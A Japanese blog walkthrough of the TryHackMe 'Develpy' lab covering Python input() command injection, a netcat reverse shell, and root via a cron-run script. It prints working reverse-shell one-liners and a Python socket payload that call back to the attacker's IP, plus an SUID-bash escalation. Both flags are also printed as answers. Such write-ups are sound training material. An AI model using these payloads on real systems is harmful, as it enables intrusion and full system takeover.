0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Develpy:Walkthrough

Posted at

概要

TryHackMe「Develpy」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -T4 -sV -A -sC -p- 10.10.154.157 -oN nmap_result
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
10000 snet-sensor-mgmt

10000ポートにGETリクエストが送信できないのでNetcatで接続してみます。

$ nc 10.10.154.157 10000

        Private 0days

 Please enther number of exploits to send??:

数字を入力すると、その分だけパケットを送信しているようです。

Please enther number of exploits to send??: 1

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.046 ms

Please enther number of exploits to send??: 2

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.015 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.021 ms

Please enther number of exploits to send??: 3

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.077 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.065 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.074 ms

数字以外を入力するとエラー文が表示され、pythonで書かれていることが分かりました。

$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??:  
Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 0
    
    ^
SyntaxError: unexpected EOF while parsing

pythonのOSコマンドインジェクションのテクニックを検索しました。
__import__('os').system('ls')の様な値を送信するとこで、脆弱性を悪用できそうです。

実際に試してみるとインジェクションに成功しました。

$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('ls')
credentials.png  exploit.py  root.sh  run.sh  user.txt

Exploit started, attacking target (tryhackme.com)...

Netcatでリバースシェルを張れました。

$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('nc -e /bin/sh 10.6.55.144 1234')
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.16.122] 42262
whoami
king

TTYの設定をします。

python3 -c 'import pty; pty.spawn("/bin/bash")'
king@ubuntu:~$

/home/king/user.txtからユーザーフラグを入手できました。

/home/king/user.txt
cf85ff769cfaaa721758949bf870b019

/home/king/credentials.pngをダウンロードして確認します。

credentials.png

メタデータを読み取るとMondrianという情報を得られました。

$ exiftool credentials.png                                    
ExifTool Version Number         : 12.70
File Name                       : credentials.png
Directory                       : .
File Size                       : 272 kB
File Modification Date/Time     : 2019:08:27 15:08:23-04:00
File Access Date/Time           : 2024:10:21 21:21:38-04:00
File Inode Change Date/Time     : 2024:10:21 21:19:47-04:00
File Permissions                : -rwxr-xr-x
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 520
Image Height                    : 520
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Artist                          : Mondrian
Copyright                       : Mondrian
Image Size                      : 520x520
Megapixels                      : 0.270

Piet Mondrianという画家がいたようです。

Wikipedia Piet Mondrian

また、pietというプログラミング言語があるようです。

https://esolangs.org/wiki/Piet

この画像はそのpietで書かれたプログラムのようです。
下記サイトで実行してみるとパスワードを得られました。

https://www.bertnase.de/npiet/npiet-execute.php

image.png

A.cf85ff769cfaaa721758949bf870b019

Q2.root.txt

解法1

/etc/crontabを確認すると、/home/king/root.sh,/root/company/run.shがルートで実行されていると分かりました。

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   king    cd /home/king/ && bash run.sh
*  *    * * *   root    cd /home/king/ && bash root.sh
*  *    * * *   root    cd /root/company && bash run.sh
#

/home/king/root.shでは/root/company/media/配下のpythonファイルをすべてroot権限で実行しています。

/home/king/root.sh
python /root/company/media/*.py

また、linpeasを実行しローカルの8080でWebアプリケーションの動作も確認できました。

$ ./linpeas.sh

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                           
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                                       
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      781/socat       
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      - 

SSHでフォワーディングの設定をします。

$ ssh -L 8000:127.0.0.1:8080 king@10.10.130.49
king@ubuntu:~$

ディレクトリスキャンをします。

$ dirsearch -u http://127.0.0.1:8000
[22:10:53] 301 -    0B  - /admin  ->  /admin/
[22:10:56] 302 -    0B  - /admin/  ->  /admin/login/?next=/admin/
[22:10:58] 301 -    0B  - /admin/login  ->  /admin/login/
[22:12:11] 301 -    0B  - /books  ->  /books/
[22:14:23] 301 -    0B  - /upload  ->  /upload/
[22:14:24] 200 -    2KB - /upload/

/uploadでは、/mediaフォルダにpythonファイルをアップロード出来ます。
このことから、pythonのエクスプロイトコードをアップロードし、/home/king/root.sh経由で権限昇格出来そうです。

image.png

pythonのリバースシェルペイロードをアップロードします。

shell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])

Netcatでリッスンしているとroot権限を取得できました。

$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.130.49] 44950
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

解法2

/home/king/root.shを差し替えます。

$ mv root.sh ./root.sh.org
$ echo "chmod u+s /bin/bash" > root.sh
$ chmod +x root.sh

rootに権限昇格できました。

$ ls -la /bin/bash 
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash
$ /bin/bash -p
bash-4.3# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
9c37646777a53910a347f387dce025ec

A.9c37646777a53910a347f387dce025ec

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?